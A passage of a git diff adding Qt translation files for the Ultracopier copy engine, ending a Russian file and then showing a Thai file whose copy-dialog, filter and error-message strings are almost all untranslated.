+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation>переписывать</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation>пропускать</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation>отменить</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation>Заменить, если новее</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation>размер</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation>модифицированный</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation>имя файла</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation type="unfinished">папка</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Предложить новое имя</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation>переименовать</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation>пропускать</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation>отменить</translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation>источник</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation>назначение</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation>модифицированный</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation>имя папки</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation type="unfinished">папка</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Предложить новое имя</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation>переименовать</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation>слияние</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation>пропускать</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation>отменить</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/th/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/th/translation.ts
new file mode 100644
index 0000000..3362659
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/th/translation.ts
@@ -0,0 +1,1289 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
